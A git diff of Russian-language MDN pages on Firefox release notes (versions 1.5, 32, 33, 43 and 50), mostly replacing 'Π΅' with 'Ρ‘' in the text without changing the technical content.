<p><a class="external external-icon" href="https://www.mozilla.org/firefox/channel/#firefox" style="width: 250px; display: block; margin-left: auto; margin-right: auto; padding: 10px; text-align: center; border-radius: 4px; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Π—Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ Firefox</a></p>
diff --git a/files/ru/mozilla/firefox/releases/1.5/using_firefox_1.5_caching/index.html b/files/ru/mozilla/firefox/releases/1.5/using_firefox_1.5_caching/index.html
index 5eb1c53cfe..0b4f4da4bd 100644
--- a/files/ru/mozilla/firefox/releases/1.5/using_firefox_1.5_caching/index.html
+++ b/files/ru/mozilla/firefox/releases/1.5/using_firefox_1.5_caching/index.html
@@ -173,7 +173,7 @@ function loadOnlyFirst() {
&lt;/html&gt;
</pre>
-<p>Напротив, Ссли привСдённая Π²Ρ‹ΡˆΠ΅ страница Π½Π΅ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ событиС <code>pageshow</code> ΠΈ выполняСт всС вычислСния Π² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ΅ события <code>load</code> (Ссли ΠΊΠΎΠ΄ написан Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅), ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ курсора, Ρ‚Π°ΠΊ ΠΈ Π΄Π°Ρ‚Π°/врСмя Π² Firefox 1.5 Π±ΡƒΠ΄ΡƒΡ‚ ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Π½Ρ‹, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΡƒΠΉΠ΄Π΅Ρ‚ со страницы. Когда ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ вСрнСтся Π½Π° страницу, отобразятся ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ Π΄Π°Ρ‚Π°/врСмя.</p>
+<p>Напротив, Ссли привСдённая Π²Ρ‹ΡˆΠ΅ страница Π½Π΅ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ событиС <code>pageshow</code> ΠΈ выполняСт всС вычислСния Π² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ΅ события <code>load</code> (Ссли ΠΊΠΎΠ΄ написан Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅), ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ курсора, Ρ‚Π°ΠΊ ΠΈ Π΄Π°Ρ‚Π°/врСмя Π² Firefox 1.5 Π±ΡƒΠ΄ΡƒΡ‚ ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Π½Ρ‹, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΡƒΠΉΠ΄Ρ‘Ρ‚ со страницы. Когда ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ вСрнётся Π½Π° страницу, отобразятся ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ Π΄Π°Ρ‚Π°/врСмя.</p>
<pre>&lt;script&gt;
function onLoad() {
diff --git a/files/ru/mozilla/firefox/releases/32/index.html b/files/ru/mozilla/firefox/releases/32/index.html
index cda18f1f56..8444815a32 100644
--- a/files/ru/mozilla/firefox/releases/32/index.html
+++ b/files/ru/mozilla/firefox/releases/32/index.html
@@ -93,9 +93,9 @@ translation_of: Mozilla/Firefox/Releases/32
<h4 id="ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅">ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅</h4>
-<p><a class="external external-icon" href="https://github.com/mozilla/addon-sdk/compare/firefox31...firefox32">ΠšΠΎΠΌΠΌΠΈΡ‚Ρ‹ GitHub ΠΌΠ΅ΠΆΠ΄Ρƒ вСрсиями Firefox 31 ΠΈ Firefox 32</a>. НС Π±ΡƒΠ΄ΡƒΡ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… поднятий, сдСланных послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ этот выпуск Π²ΠΎΠΉΠ΄Π΅Ρ‚ Π² Aurora.</p>
+<p><a class="external external-icon" href="https://github.com/mozilla/addon-sdk/compare/firefox31...firefox32">ΠšΠΎΠΌΠΌΠΈΡ‚Ρ‹ GitHub ΠΌΠ΅ΠΆΠ΄Ρƒ вСрсиями Firefox 31 ΠΈ Firefox 32</a>. НС Π±ΡƒΠ΄ΡƒΡ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… поднятий, сдСланных послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ этот выпуск Π²ΠΎΠΉΠ΄Ρ‘Ρ‚ Π² Aurora.</p>
-<p><a class="external external-icon" href="https://bugzilla.mozilla.org/buglist.cgi?resolution=FIXED&amp;chfieldto=2014-06-09&amp;chfield=resolution&amp;query_format=advanced&amp;chfieldfrom=2014-04-28&amp;chfieldvalue=FIXED&amp;bug_status=RESOLVED&amp;bug_status=VERIFIED&amp;bug_status=CLOSED&amp;product=Add-on%20SDK&amp;list_id=10493962">Ошибки исправлСнныС Firefox 31 ΠΈ Firefox 32</a>. Бюда Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ измСнСния, сдСланныС послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ этот Ρ€Π΅Π»ΠΈΠ· Π±Ρ‹Π» ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ Π² ΡΡ‚Π°Π΄ΠΈΡŽ Aurora.</p>
+<p><a class="external external-icon" href="https://bugzilla.mozilla.org/buglist.cgi?resolution=FIXED&amp;chfieldto=2014-06-09&amp;chfield=resolution&amp;query_format=advanced&amp;chfieldfrom=2014-04-28&amp;chfieldvalue=FIXED&amp;bug_status=RESOLVED&amp;bug_status=VERIFIED&amp;bug_status=CLOSED&amp;product=Add-on%20SDK&amp;list_id=10493962">Ошибки исправлСнныС Firefox 31 ΠΈ Firefox 32</a>. Бюда Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ измСнСния, сдСланныС послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ этот Ρ€Π΅Π»ΠΈΠ· Π±Ρ‹Π» ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Ρ‘Π½ Π² ΡΡ‚Π°Π΄ΠΈΡŽ Aurora.</p>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/mozilla/firefox/releases/33/index.html b/files/ru/mozilla/firefox/releases/33/index.html
index 71106729df..a5e12b256e 100644
--- a/files/ru/mozilla/firefox/releases/33/index.html
+++ b/files/ru/mozilla/firefox/releases/33/index.html
@@ -33,7 +33,7 @@ translation_of: Mozilla/Firefox/Releases/33
<h3 id="JavaScript">JavaScript</h3>
<ul>
- <li>Π£Π΄Π°Π»Π΅Π½ нСстандартный ΠΌΠ΅Ρ‚ΠΎΠ΄ {{jsxref("Number.toInteger()")}} ({{bug(1022396)}}).</li>
+ <li>Π£Π΄Π°Π»Ρ‘Π½ нСстандартный ΠΌΠ΅Ρ‚ΠΎΠ΄ {{jsxref("Number.toInteger()")}} ({{bug(1022396)}}).</li>
<li>ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹ {{jsxref("Map.prototype.set()")}}, {{jsxref("WeakMap.prototype.set()")}} and {{jsxref("Set.prototype.add()")}} ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, большС Π½Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ <code>undefined</code> Π² мСсто этого Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚. ({{bug(1031632)}}).</li>
<li>Π”ΠΎΠ±Π°Π²Π»Π΅Π½Π° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Ρ‚ΠΈΠΏΠ° Π΄Π°Π½Π½Ρ‹Ρ… "Symbol" ΠΈΠ· стандарта ECMAScript 6 ({{bug(645416)}}):
<ul>
diff --git a/files/ru/mozilla/firefox/releases/43/index.html b/files/ru/mozilla/firefox/releases/43/index.html
index 45f428ba81..f03fccb0bd 100644
--- a/files/ru/mozilla/firefox/releases/43/index.html
+++ b/files/ru/mozilla/firefox/releases/43/index.html
@@ -31,7 +31,7 @@ translation_of: Mozilla/Firefox/Releases/43
<h3 id="CSS">CSS</h3>
<ul>
- <li>Π£Π΄Π°Π»Π΅Π½ прСфикс CSS свойства {{Cssxref("hyphens")}} ({{bug(953408)}}).</li>
+ <li>Π£Π΄Π°Π»Ρ‘Π½ прСфикс CSS свойства {{Cssxref("hyphens")}} ({{bug(953408)}}).</li>
<li>CCS свойство {{cssxref("font")}} Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ {{cssxref("font-stretch")}} {{bug(1057680)}}).</li>
<li>ПсСвдокласс {{cssxref(":fullscreen")}} Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ вСсь стСк элСмСнтов с дисплСя Π² полноэкранном Ρ€Π΅ΠΆΠΈΠΌΠ΅, Π° Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ элСмСнты Π²Ρ‹ΡΡˆΠ΅Π³ΠΎ уровня ({{bug(1199522)}}).</li>
<li>Π£ΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠ΅ свойства SVG {{cssxref("writing-mode")}}, <code>lr</code>, <code>lr-tb</code>, <code>rl</code>, <code>tb</code>, and <code>tb-rl</code>, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ Π² CSS ΠΊΠ°ΠΊ алиасы стандартных CSS свойств ({{bug(1205787)}}).</li>
@@ -41,7 +41,7 @@ translation_of: Mozilla/Firefox/Releases/43
<ul>
<li>Для Ρ‚Π΅Π³Π° {{htmlelement("img")}} с ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° ICO содСрТащСго нСсколько ΠΊΠ°Π΄Ρ€ΠΎΠ² (Π°Π½ΠΈΠΌΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ), Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ изобраТСния Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π²Π½Ρ‹ΠΌ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡŽ самого большого ΠΊΠ°Π΄Ρ€Π°, Π° Π½Π΅ самого ΠΌΠ°Π»ΠΎΠ³ΠΎ {{bug(1201796)}}.</li>
- <li>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ области просмотра Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° (viewport) (ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ‚Π΅Π³Π° <code>&lt;<a href="/en-US/docs/Web/HTML/Element/meta">meta</a> name="viewport&gt;</code>) ΠΌΠΎΠΆΠ½ΠΎ динамичСски ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ JavaScript ({{bug(976616)}}).</li>
+ <li>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ области просмотра Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° (viewport) (ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ‚Π΅Π³Π° <code>&lt;<a href="/en-US/docs/Web/HTML/Element/meta">meta</a> name="viewport&gt;</code>) ΠΌΠΎΠΆΠ½ΠΎ динамичСски ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ JavaScript ({{bug(976616)}}).</li>
</ul>
<h3 id="JavaScript">JavaScript</h3>
@@ -55,7 +55,7 @@ translation_of: Mozilla/Firefox/Releases/43
<h4 id="ИзмСнСния_связанныС_с_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ_arguments">ИзмСнСния связанныС с ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ <code>arguments</code></h4>
<ul>
- <li>Π‘ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ»Π½ΠΎΠ΅ соотвСтствиС спСцификации ES2015, <a href="/ru/docs/Web/JavaScript/Reference/Functions/Arrow_functions">стрСлочныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ </a>большС Π½Π΅ содСрТат свой собствСнный встроСнный ΠΎΠ±ΡŠΠ΅ΠΊΡ‚<code> <a href="/ru/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a></code>. ΠžΠ±ΡŠΠ΅ΠΊΡ‚ <code>arguments</code> Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Π΅Π½ лСксичСски  (наслСдуСтся ΠΎΡ‚ внСшнСй Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ). Π’ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ случаСв, <a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">остаточныС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ </a>Π»ΡƒΡ‡ΡˆΠ°Ρ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π°<code> (...args) =&gt; args[i]</code>, смотри {{bug(889158)}}.</li>
+ <li>Π‘ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ»Π½ΠΎΠ΅ соотвСтствиС спСцификации ES2015, <a href="/ru/docs/Web/JavaScript/Reference/Functions/Arrow_functions">стрСлочныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ </a>большС Π½Π΅ содСрТат свой собствСнный встроСнный ΠΎΠ±ΡŠΠ΅ΠΊΡ‚<code> <a href="/ru/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a></code>. ΠžΠ±ΡŠΠ΅ΠΊΡ‚ <code>arguments</code> Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Ρ‘Π½ лСксичСски  (наслСдуСтся ΠΎΡ‚ внСшнСй Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ). Π’ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ случаСв, <a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">остаточныС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ </a>Π»ΡƒΡ‡ΡˆΠ°Ρ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π°<code> (...args) =&gt; args[i]</code>, смотри {{bug(889158)}}.</li>
<li>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ <a href="/ru/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a> Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Π΅Ρ‚ΡΡ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ вмСстС с <a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">остаточными ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ </a>({{bug(1133298)}}).</li>
<li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ map <code><a href="/ru/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a></code> Π² нСстрогих функциях доступСн Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли функция Π½Π΅ содСрТит Π΄Ρ€ΡƒΠ³ΠΈΠ΅Β <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">остаточныС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹</a>, ΠΈΠ»ΠΈ <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΈΠ»ΠΈ </a><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">destructured parameters</a> ({{bug(1175394)}}).</li>
</ul>
@@ -69,7 +69,7 @@ translation_of: Mozilla/Firefox/Releases/43
<h4 id="IndexedDB">IndexedDB</h4>
<ul>
- <li>Π”ΠΎΠ±Π°Π²Π»Π΅Π½Π° <a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB#Locale-aware_sorting">сортировка с ΡƒΡ‡Π΅Ρ‚ΠΎΠΌ Π»ΠΎΠΊΠ°Π»ΠΈ</a>, которая позволяСт ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ индСксы ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ локаль. Π­Ρ‚ΠΈ индСксы ΠΏΠΎΡ‚ΠΎΠΌ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΡΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ с ΡƒΡ‡Π΅Ρ‚ΠΎΠΌ ΠΏΡ€Π°Π²ΠΈΠ» Π»ΠΎΠΊΠ°Π»ΠΈ. ({{bug(871846)}}). Π­Ρ‚ΠΎ Π½Π΅ стандартная функция ΠΈ доступна Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Firefox.</li>
+ <li>Π”ΠΎΠ±Π°Π²Π»Π΅Π½Π° <a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB#Locale-aware_sorting">сортировка с ΡƒΡ‡Ρ‘Ρ‚ΠΎΠΌ Π»ΠΎΠΊΠ°Π»ΠΈ</a>, которая позволяСт ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ индСксы ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ локаль. Π­Ρ‚ΠΈ индСксы ΠΏΠΎΡ‚ΠΎΠΌ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΡΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ с ΡƒΡ‡Ρ‘Ρ‚ΠΎΠΌ ΠΏΡ€Π°Π²ΠΈΠ» Π»ΠΎΠΊΠ°Π»ΠΈ. ({{bug(871846)}}). Π­Ρ‚ΠΎ Π½Π΅ стандартная функция ΠΈ доступна Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Firefox.</li>
</ul>
<h4 id="Service_Workers">Service Workers</h4>
@@ -97,7 +97,7 @@ translation_of: Mozilla/Firefox/Releases/43
<li>Π’ Линукс, ΠΊΠ°ΠΊ ΠΈ Π² Windows, {{domxref("Event.timeStamp")}} Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {domxref("DOMHighResTimeStamp")}} ({{bug(1026803)}}).</li>
<li>Π­ΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Π°Ρ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° {{domxref("Selection")}} событий {{event("selectionchange")}} ΠΈ {{event("selectstart")}}, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ {{domxref("Document.onselectionchange")}} ΠΈ {{domxref("GlobalEventHandlers.onselectstart")}} свойства для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² событий ({{bug(571294)}}). Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅<code> selectionchange</code> Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ Π½Π°Β  {{domxref("Document")}} Ссли связано с  ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ <code>Selection</code>, ΠΈΠ»ΠΈ Π² особом случаС {{domxref("HTMLInputElement")}} ΠΈΠ»ΠΈ {{domxref("HTMLTextAreaElement")}} ({{bug(1196479)}}). Π­Ρ‚ΠΎ свойство контролируСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ настройки <code>dom.select_events.enabled</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>false</code>, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Firefox Nightly.</li>
<li>ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° {{domxref("MouseEvent.offsetX")}} ΠΈ {{domxref("MouseEvent.offsetY")}} доступна ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π² Android вСрсии Firefox ΠΈ Firefox OS ({{bug(1204841)}}).</li>
- <li>Π£Π΄Π°Π»Π΅Π½ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("HTMLCanvasElement.mozFetchAsStream()")}} ({{bug(1206030)}}).</li>
+ <li>Π£Π΄Π°Π»Ρ‘Π½ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("HTMLCanvasElement.mozFetchAsStream()")}} ({{bug(1206030)}}).</li>
<li>ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ {{domxref("Request.Request", "Request()")}} Π° Ρ‚Π°ΠΊΠΆΠ΅ {{domxref("Window.fetch", "fetch()")}} Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ выбросит ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ {{exception("TypeError")}} Ссли Π±ΡƒΠ΄Π΅Ρ‚ использовано Π² URL ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ содСрТит ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ с ΠΈΠΌΠ΅Π½Π°ΠΌΠΈ username ΠΈ password ({{bug(1195820)}}).</li>
</ul>
@@ -124,8 +124,8 @@ translation_of: Mozilla/Firefox/Releases/43
<h2 id="Π‘Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ">Π‘Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ</h2>
<ul>
- <li>Доступ ΠΊ Web Storage (i.e. <code>localStorage</code> ΠΈ <code>sessionStorage</code>) ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΈΡ… IFrame-ΠΌΠΎΠ² Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½ Ссли Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ <a href="https://support.mozilla.org/en-US/kb/disable-third-party-cookies">Π·Π°Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ ΠΊΡƒΠΊΠΈ ΠΈΠ· сторонних сСрвисов (Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²Π΅Π±-сайтов) </a>({{bug("536509")}}).</li>
- <li>Π‘Π΅Π»Ρ‹ΠΉ список ΡƒΠ΄Π°Π»Π΅Π½ ΠΈΠ· Nightly ΠΈ Aurora/Dev Edition Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ({{bug(1201023)}}). Π’Π°ΠΊΠΆΠ΅ Π·Π°ΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ ΠΈΠ· Beta ΠΈ Release вСрсий Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ вСрсии (Firefox 44).</li>
+ <li>Доступ ΠΊ Web Storage (i.e. <code>localStorage</code> ΠΈ <code>sessionStorage</code>) ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΈΡ… IFrame-ΠΌΠΎΠ² Π·Π°ΠΏΡ€Π΅Ρ‰Ρ‘Π½ Ссли Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ <a href="https://support.mozilla.org/en-US/kb/disable-third-party-cookies">Π·Π°Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ ΠΊΡƒΠΊΠΈ ΠΈΠ· сторонних сСрвисов (Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²Π΅Π±-сайтов) </a>({{bug("536509")}}).</li>
+ <li>Π‘Π΅Π»Ρ‹ΠΉ список ΡƒΠ΄Π°Π»Ρ‘Π½ ΠΈΠ· Nightly ΠΈ Aurora/Dev Edition Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ({{bug(1201023)}}). Π’Π°ΠΊΠΆΠ΅ Π·Π°ΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ ΠΈΠ· Beta ΠΈ Release вСрсий Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ вСрсии (Firefox 44).</li>
<li>Π Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π° Ρ†Π΅Π»ΠΎΡΡ‚Π½ΠΎΡΡ‚ΡŒ рСсурсов для {{htmlelement("script")}} ΠΈ {{htmlelement("link")}} ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π΅Π΄ΡƒΡ‚ ΠΊ Ρ„Π°ΠΉΠ»Π°ΠΌ стилСй ({{bug("992096")}}).</li>
</ul>
diff --git a/files/ru/mozilla/firefox/releases/50/index.html b/files/ru/mozilla/firefox/releases/50/index.html
index 6b9122dff1..922e31a7dc 100644
--- a/files/ru/mozilla/firefox/releases/50/index.html
+++ b/files/ru/mozilla/firefox/releases/50/index.html
@@ -16,7 +16,7 @@ translation_of: Mozilla/Firefox/Releases/50
<h3 id="HTML">HTML</h3>
<ul>
